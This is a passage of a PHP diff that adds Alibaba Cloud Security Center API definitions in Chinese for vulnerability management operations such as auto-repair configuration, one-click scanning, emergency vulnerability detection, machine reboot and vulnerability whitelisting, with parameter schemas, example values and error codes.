'in' => 'query', + 'schema' => [ + 'description' => '容器检索字段值。', + 'type' => 'string', + 'required' => false, + 'example' => 'cas-adad-qeqwe', + ], + ], + [ + 'name' => 'TargetType', + 'in' => 'query', + 'schema' => [ + 'description' => '查询类型。取值：'."\n" + ."\n" + .'- **containerId**：容器ID'."\n" + .'- **uuid**：资产ID', + 'type' => 'string', + 'required' => false, + 'example' => 'uuid', + ], + ], + [ + 'name' => 'Necessity', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的漏洞修复必要性等级。多个等级用半角逗号（,）分隔。取值：'."\n" + ."\n" + .'- **asap**：高'."\n" + .'- **later**：中'."\n" + .'- **nntf**：低', + 'type' => 'string', + 'required' => false, + 'example' => 'asap,later,nntf', + ], + ], + [ + 'name' => 'VulNames', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '漏洞名称集合。'."\n" + .'> 您可调用[DescribeGroupedVul](~~DescribeGroupedVul~~)接口获取该参数。', + 'type' => 'array', + 'items' => [ + 'description' => '漏洞名称信息。', + 'type' => 'string', + 'required' => false, + 'example' => 'centos:8:rhsa-2020:1665', + ], + 'required' => true, + 'maxItems' => 10000, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '97286A-4A6B-4A4-95FA-EC7E3E2451', + ], + 'MachineInfoStatistics' => [ + 'description' => '资产统计信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '资产统计信息。', + 'type' => 'object', + 'properties' => [ + 'Uuid' => [ + 'description' => '服务器UUID。', + 'type' => 'string', + 'example' => '18375c64-eaa2-4702-92b0-4ee7******', + ], + 'MachineIp' => [ + 'description' => '服务器机器IP。', + 'type' => 'string', + 'example' => '192.168.XX.XX', + ], + 'Os' => [ + 'description' => '服务器的操作系统名称。', + 'type' => 'string', + 'example' => 'windows', + ], + 'MachineName' => [ + 'description' => '服务器机器名称。', + 'type' => 'string', + 'example' => 'TestMachine', + ], + 'MachineInstanceId' => [ + 'description' => '服务器实例ID。', + 'type' => 'string', + 'example' => 'i-wz9gd1os5talju****', + ], + 'RegionId' => [ + 'description' => '实例所在的地域的ID。', + 'type' => 'string', + 'example' => 'cn-hangzhou', + ], + 'InternetIp' => [ + 'description' => '关联实例的公网IP。', + 'type' => 'string', + 'example' => '47.98.XX.XX', + ], + 'IntranetIp' => [ + 'description' => '关联实例的私网IP。'."\n", + 'type' => 'string', + 'example' => '172.18.XX.XX', + ], + ], + ], + ], + 'VulCount' => [ + 'description' => '服务器的漏洞的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"97286A-4A6B-4A4-95FA-EC7E3E2451\\",\\n \\"MachineInfoStatistics\\": [\\n {\\n \\"Uuid\\": \\"18375c64-eaa2-4702-92b0-4ee7******\\",\\n \\"MachineIp\\": \\"192.168.XX.XX\\",\\n \\"Os\\": \\"windows\\",\\n \\"MachineName\\": \\"TestMachine\\",\\n \\"MachineInstanceId\\": \\"i-wz9gd1os5talju****\\",\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"InternetIp\\": \\"47.98.XX.XX\\",\\n \\"IntranetIp\\": \\"172.18.XX.XX\\"\\n }\\n ],\\n \\"VulCount\\": 2\\n}","type":"json"}]', + 'title' => '根据漏洞名称获取支持修复的机器列表', + ], + 'ListVulAutoRepairConfig' => [ + 'summary' => '查询创建的可自动修复漏洞配置信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasU76LC1', + ], + ], + 'parameters' => [ + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'title' => '漏洞类型', + 'description' => '漏洞类型。取值：'."\n" + ."\n" + .'- **cve**：Linux软件漏洞'."\n" + .'- **sys**：Windows系统漏洞', + 'type' => 'string', + 'required' => false, + 'enumValueTitles' => [], + 'example' => 'cve', + ], + ], + [ + 'name' => 'AliasName', + 'in' => 'query', + 'schema' => [ + 'title' => '漏洞别名', + 'description' => '漏洞别名。', + 'type' => 'string', + 'required' => false, + 'example' => 'RHSA-2022:0274-Important: polkit pkexec Local Privilege Escalation Vulnerability(CVE-2021-4034)', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'minimum' => '1', + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '设置分页查询时，每页显示的可自动修复漏洞配置的数量。默认值为**10**，表示每页显示10条可自动修复漏洞配置。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'maximum' => '100', + 'minimum' => '1', + 'example' => '10', + 'default' => '20', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'allowEmptyValue' => true, + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '可自动修复漏洞的配置信息。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。'."\n", + 'type' => 'string', + 'example' => '3B3F3A90-46A5-4023-A2D8-D68B14262F96', + ], + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + ."\n" + .'- **true**：接口调用成功。'."\n" + .'- **false**：接口调用失败。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '错误码的详细信息。', + 'type' => 'string', + 'example' => 'success', + ], + 'HttpStatusCode' => [ + 'description' => 'HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + 'VulAutoRepairConfigList' => [ + 'description' => '可自动修复漏洞配置列表。', + 'type' => 'array', + 'items' => [ + 'description' => '可自动修复漏洞。', + 'type' => 'object', + 'properties' => [ + 'Id' => [ + 'description' => '可自动修复漏洞配置ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '37338', + ], + 'Name' => [ + 'description' => '漏洞名称。', + 'type' => 'string', + 'example' => 'anolisos:8.4:ANSA-2022:0001'."\n", + ], + 'Type' => [ + 'description' => '漏洞类型。取值：'."\n" + .'- **cve**：Linux漏洞'."\n" + .'- **sys**：Windows漏洞', + 'type' => 'string', + 'example' => 'cve', + ], + 'AliasName' => [ + 'description' => '漏洞别名。', + 'type' => 'string', + 'example' => 'RHSA-2022:0274-Important: polkit pkexec Local Privilege Escalation Vulnerability(CVE-2021-4034)', + ], + 'Reason' => [ + 'description' => '可自动化修复漏洞的原因说明。'."\n", + 'type' => 'string', + 'example' => 'The vulnerability fix is risk-free and can be configured to automate the fix.'."\n", + ], + ], + ], + ], + 'PageInfo' => [ + 'description' => '页面显示的信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页显示的可自动修复漏洞配置信息的数量。默认值为**10**，表示每页显示10条可自动修复漏洞配置。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'TotalCount' => [ + 'description' => '查询到的可自动修复漏洞配置信息的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '11', + ], + 'Count' => [ + 'description' => '当前页面显示的可自动修复漏洞配置信息的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'InnerError', + 'errorMessage' => 'InnerError', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"3B3F3A90-46A5-4023-A2D8-D68B14262F96\\",\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"success\\",\\n \\"HttpStatusCode\\": 200,\\n \\"VulAutoRepairConfigList\\": [\\n {\\n \\"Id\\": 37338,\\n \\"Name\\": \\"anolisos:8.4:ANSA-2022:0001\\\\n\\",\\n \\"Type\\": \\"cve\\",\\n \\"AliasName\\": \\"RHSA-2022:0274-Important: polkit pkexec Local Privilege Escalation Vulnerability(CVE-2021-4034)\\",\\n \\"Reason\\": \\"The vulnerability fix is risk-free and can be configured to automate the fix.\\\\n\\"\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 10,\\n \\"TotalCount\\": 11,\\n \\"Count\\": 10\\n }\\n}","type":"json"}]', + 'title' => '查询创建的可自动修复漏洞配置', + ], + 'CreateVulAutoRepairConfig' => [ + 'summary' => '批量创建可自动修复的漏洞列表，创建后用于任务中心的漏洞修复任务的漏洞列表选择。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'create', + 'abilityTreeCode' => '134324', + 'abilityTreeNodes' => [ + 'FEATUREsasU76LC1', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'title' => '漏洞类型', + 'description' => '漏洞类型。取值：'."\n" + .'-**cve**：Linux软件漏洞'."\n" + .'-**sys**：Windows系统漏洞', + 'type' => 'string', + 'required' => true, + 'enumValueTitles' => [], + 'example' => 'cve', + 'enum' => [ + 'cve', + 'sys', + ], + ], + ], + [ + 'name' => 'VulAutoRepairConfigList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '可自动修复的漏洞列表。', + 'type' => 'array', + 'items' => [ + 'description' => '可自动修复的漏洞。', + 'type' => 'object', + 'properties' => [ + 'AliasName' => [ + 'title' => '漏洞别名', + 'description' => '漏洞别名。', + 'type' => 'string', + 'required' => true, + 'example' => 'CVE-2018-25032:zlib 1.2.11 memory corruption', + ], + 'Name' => [ + 'title' => '漏洞名称', + 'description' => '漏洞名称。', + 'type' => 'string', + 'required' => true, + 'example' => 'anolisos:8.4:ANSA-2022:0001', + ], + ], + 'required' => false, + ], + 'required' => true, + 'maxItems' => 50, + 'minItems' => 1, + ], + ], + [ + 'name' => 'Reason', + 'in' => 'query', + 'schema' => [ + 'description' => '添加可自动化修复漏洞的原因说明。', + 'type' => 'string', + 'required' => false, + 'example' => 'TestAutoRepair', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '6673D49C-A9AB-40DD-B4A2-B92306701AE7', + ], + 'Success' => [ + 'description' => '请求是否成功。取值：'."\n" + ."\n" + .'- **true**：是'."\n" + .'- **false**：否', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '错误码的详细信息。', + 'type' => 'string', + 'example' => 'success', + ], + 'HttpStatusCode' => [ + 'description' => 'HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'InnerError', + 'errorMessage' => 'InnerError', + ], + [ + 'errorCode' => 'IllegalParam', + 'errorMessage' => 'Illegal param', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"6673D49C-A9AB-40DD-B4A2-B92306701AE7\\",\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"success\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '批量创建可自动修复的漏洞列表', + ], + 'DescribeInstanceRebootStatus' => [ + 'summary' => '查询实例的重启状态。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'Uuids', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询重启的服务器的UUID，多个UUID使用半角逗号（,）分隔。', + 'type' => 'string', + 'required' => true, + 'example' => 'd77f7802-4f0a-4221-ab02-4d999e****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'TotalCount' => [ + 'description' => '返回的总数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '5BD95679-D63A-4151-97D0-188432F4A57', + ], + 'RebootStatuses' => [ + 'description' => '实例重启状态列表。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'Uuid' => [ + 'description' => '服务器UUID。', + 'type' => 'string', + 'example' => '9b59c2d6-0967-46e3-ad7b-152227c****', + ], + 'RebootStatus' => [ + 'description' => '当前服务器的重启状态。取值：'."\n" + .'- **0**：重启中'."\n" + .'- **1**：重启成功'."\n" + .'- **2**：重启失败', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'Code' => [ + 'description' => '重启实例失败的错误码。取值：'."\n" + ."\n" + .'- **10001**： 下发命令失败'."\n" + .'- **10002**：重启失败'."\n" + .'- **10003**：超时', + 'type' => 'string', + 'example' => '10001', + ], + 'Msg' => [ + 'description' => '重启异常信息。', + 'type' => 'string', + 'example' => 'push failed', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"TotalCount\\": 100,\\n \\"RequestId\\": \\"5BD95679-D63A-4151-97D0-188432F4A57\\",\\n \\"RebootStatuses\\": [\\n {\\n \\"Uuid\\": \\"9b59c2d6-0967-46e3-ad7b-152227c****\\",\\n \\"RebootStatus\\": 2,\\n \\"Code\\": \\"10001\\",\\n \\"Msg\\": \\"push failed\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询实例重启状态', + ], + 'RebootMachine' => [ + 'summary' => '重启实例，目前仅支持Windows机器。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'systemTags' => [ + 'operationType' => 'none', + ], + 'parameters' => [ + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '指定需要重启的服务器UUID。'."\n" + .'>调用[DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~)接口获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => '7151f27e-1d51-4e98-a540-8936a****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '请求返回参数。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '151F6EB6-D5F3-417A-AF7B-4D84975DB586', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"151F6EB6-D5F3-417A-AF7B-4D84975DB586\\"\\n}","type":"json"}]', + 'title' => '重启实例', + ], + 'ModifyVulTargetConfig' => [ + 'summary' => '设置单台服务器的漏洞检测配置。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'update', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '1.2.XX.XX', + ], + ], + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '要设置的漏洞检测的类型。取值：'."\n" + ."\n" + .'- **cve**：Linux软件漏洞'."\n" + .'- **sys**：Windows系统漏'."\n" + .'- **cms**：Web-CMS漏洞'."\n" + .'- **emg**：应急漏洞', + 'type' => 'string', + 'required' => true, + 'example' => 'cve', + ], + ], + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '要设置的服务器的UUID。', + 'type' => 'string', + 'required' => true, + 'example' => 'inet-7c676676-06fa-442e-90fb-b802e5d6****', + ], + ], + [ + 'name' => 'Config', + 'in' => 'query', + 'schema' => [ + 'description' => '设置开启或关闭漏洞检测。取值：'."\n" + ."\n" + .'- **on**：开启漏洞检测'."\n" + .'- **off**：关闭漏洞检测', + 'type' => 'string', + 'required' => true, + 'example' => 'off', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '1FF908BA-ADD8-5138-8595-614C6E3C6658', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"1FF908BA-ADD8-5138-8595-614C6E3C6658\\"\\n}","errorExample":""},{"type":"xml","example":"\\n 1FF908BA-ADD8-5138-8595-614C6E3C6658\\n","errorExample":""}]', + 'title' => '设置单台服务器的漏洞检测配置', + 'requestParamsDescription' => ' ', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'ModifyStartVulScan' => [ + 'summary' => '开启控制台漏洞管理页面的一键扫描功能。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'update', + 'abilityTreeCode' => '92392', + 'abilityTreeNodes' => [ + 'FEATUREsasU76LC1', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Types', + 'in' => 'query', + 'schema' => [ + 'description' => '设置一键扫描功能检测的漏洞类型。可设置以下取值：'."\n" + .'- **cve**：Linux软件漏洞。'."\n" + .'- **sys**：Windows系统漏洞。'."\n" + .'- **cms**：Web-CMS漏洞。'."\n" + .'- **app**：通过Web扫描器检测的应用漏洞。'."\n" + .'- **emg**：应急漏洞。'."\n" + .'- **image**：容器镜像漏洞。'."\n" + .'- **sca**：通过软件成分分析检测的应用漏洞。'."\n" + .'> 如果该取值为空，会检测所有漏洞类型。', + 'type' => 'string', + 'required' => false, + 'example' => '"cve,sys,cms,app,emg"', + ], + ], + [ + 'name' => 'Uuids', + 'in' => 'query', + 'schema' => [ + 'description' => '服务器UUID列表,多个UUID之间使用半角逗号（,）分隔。'."\n" + ."\n\n" + .'> 您可以调用[DescribeCloudCenterInstances](~~421726~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => '1587bedb-fdb4-48c4-9330-****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。', + 'type' => 'string', + 'example' => '4066CAC3-F83A-4729-9995-A5558A61B546', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"4066CAC3-F83A-4729-9995-A5558A61B546\\"\\n}","errorExample":""},{"type":"xml","example":"\\r\\n 4066CAC3-F83A-4729-9995-A5558A61B546\\r\\n","errorExample":""}]', + 'title' => '触发漏洞的一键扫描功能', + 'requestParamsDescription' => ' ', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'ModifyEmgVulSubmit' => [ + 'summary' => '执行应急漏洞检测。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92364', + 'abilityTreeNodes' => [ + 'FEATUREsasU76LC1', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + ."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'Name', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的漏洞的名称。', + 'type' => 'string', + 'required' => true, + 'example' => 'scan:ASCV-2019-032401', + ], + ], + [ + 'name' => 'UserAgreement', + 'in' => 'query', + 'schema' => [ + 'description' => '选择是否执行漏洞检测。取值：'."\n" + ."\n" + .'- **yes**：执行'."\n" + ."\n" + .'- **no**：不执行', + 'type' => 'string', + 'required' => true, + 'example' => 'yes', + ], + ], + [ + 'name' => 'ResourceDirectoryAccountId', + 'in' => 'query', + 'schema' => [ + 'description' => '资源目录成员账号ID（阿里云账号）。'."\n" + .'>调用[DescribeMonitorAccounts](~~DescribeMonitorAccounts~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '16670360956*****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '52A3AEE6-114A-499D-8990-4BA9B27FE0AA', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'IllegalParam', + 'errorMessage' => 'Illegal param', + ], + [ + 'errorCode' => 'RdCheckNoPermission', + 'errorMessage' => 'Resource directory account verification has no permission.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + [ + 'errorCode' => 'RdCheckInnerError', + 'errorMessage' => 'Resource directory account service internal error.', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"52A3AEE6-114A-499D-8990-4BA9B27FE0AA\\"\\n}","errorExample":""},{"type":"xml","example":"\\n 52A3AEE6-114A-499D-8990-4BA9B27FE0AA\\n","errorExample":""}]', + 'title' => '执行应急漏洞检测', + 'requestParamsDescription' => ' ', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'ModifyCreateVulWhitelist' => [ + 'summary' => '添加漏洞白名单，加入白名单中的漏洞不再展示在告警列表中。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasU76LC1', + ], + ], + 'parameters' => [ + [ + 'name' => 'Whitelist', + 'in' => 'query', + 'schema' => [ + 'description' => '要添加到白名单中的漏洞的信息。格式为JSON格式的字符串。包含以下字段：'."\n" + ."\n" + .'- **Status**：漏洞状态'."\n" + .'- **GmtLast**：漏洞最后发现的时间戳，单位为毫秒。'."\n" + .'- **LaterCount**：修复优先级为中的漏洞的数量。'."\n" + .'- **AsapCount**：修复优先级为高的漏洞的数量。'."\n" + .'- **Name**：漏洞名称。'."\n" + .'- **Type**：漏洞类型。取值：'."\n" + ."\n" + .' - **cve**：Linux漏洞'."\n" + .' - **sys**：Windows漏洞'."\n" + .' - **cms**：WebCMS漏洞'."\n" + .' - **app**：应用漏洞'."\n" + .' - **emg**：应急漏洞'."\n" + ."\n" + .'- **Related**：漏洞CVE编号。'."\n" + .'- **HandledCount**：已处理的漏洞数量。'."\n" + .'- **AliasName**：漏洞别名。'."\n" + .'- **RuleModifyTime**：漏洞最后发布时间。'."\n" + .'- **NntfCount**： 修复优先级为低的漏洞的数量。'."\n" + .'- **TotalFixCount**：已修复漏洞的总数量。'."\n" + .'- **Tags**：漏洞标签。'."\n" + ."\n" + .'> 您可以调用[DescribeGroupedVul](~~DescribeGroupedVul~~)接口获取需要加白的漏洞信息。', + 'type' => 'string', + 'required' => true, + 'example' => '[{"Status":0,"GmtLast":1662281929000,"LaterCount":0,"AsapCount":1,"Name":"oval:com.redhat.rhsa:def:20172836","Type":"cve","Related":"CVE-2017-14491,CVE-2017-14492,CVE-2017-14493,CVE-2017-14494,CVE-2017-14495,CVE-2017-14496","HandledCount":1,"AliasName":"RHSA-2017:2836-Critical: dnsmasq security update","RuleModifyTime":1535542395000,"NntfCount":0,"TotalFixCount":196668,"Tags":"Exploit Exists,Code Execution"},{"Status":0,"GmtLast":1662281933000,"LaterCount":0,"AsapCount":1,"Name":"oval:com.redhat.rhsa:def:20173075","Type":"cve","Related":"CVE-2017-13089,CVE-2017-13090","HandledCount":1,"AliasName":"RHSA-2017:3075-Important: wget security update","RuleModifyTime":1551432867000,"NntfCount":0,"TotalFixCount":369136,"Tags":"Code Execution"}]', + ], + ], + [ + 'name' => 'Reason', + 'in' => 'query', + 'schema' => [ + 'description' => '添加白名单原因说明。', + 'type' => 'string', + 'required' => false, + 'example' => 'This vulnerability is not harmful', + ], + ], + [ + 'name' => 'TargetInfo', + 'in' => 'query', + 'schema' => [ + 'description' => '设置白名单生效的范围。该字段为JSON格式，包含以下字段。'."\n" + .'- **type**：生效类型。取值：'."\n" + .' - **GroupId**：服务器分组'."\n" + .' - **Uuid**：主机资产'."\n" + .'- **uuids**：主机资产UUID集合。该字段类型为String。'."\n" + .'- **groupIds**：服务器分组编号集合。该字段类型为Long。'."\n" + .'> 该值为空表示作用全部主机。若**type**为**GroupId**时，**groupIds**不能为空。若**type**为**Uuid**时，**uuids**不能为空。', + 'type' => 'string', + 'required' => false, + 'example' => '{"type":"Uuid","uuids":["b31a708f-5fea-426e-bebe-a7b0893****","1f749687-3b5d-4e11-8140-d964673****"],"groupIds":[]}', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '6B23A612-D997-5176-8C3B-D640DFD65772', + ], + 'VulWhitelistList' => [ + 'description' => '漏洞白名单列表信息。', + 'type' => 'array', + 'items' => [ + 'description' => '漏洞白名单信息。', + 'type' => 'object', + 'properties' => [ + 'Id' => [ + 'description' => '漏洞白名单ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '30376', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'InnerError', + 'errorMessage' => 'InnerError', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 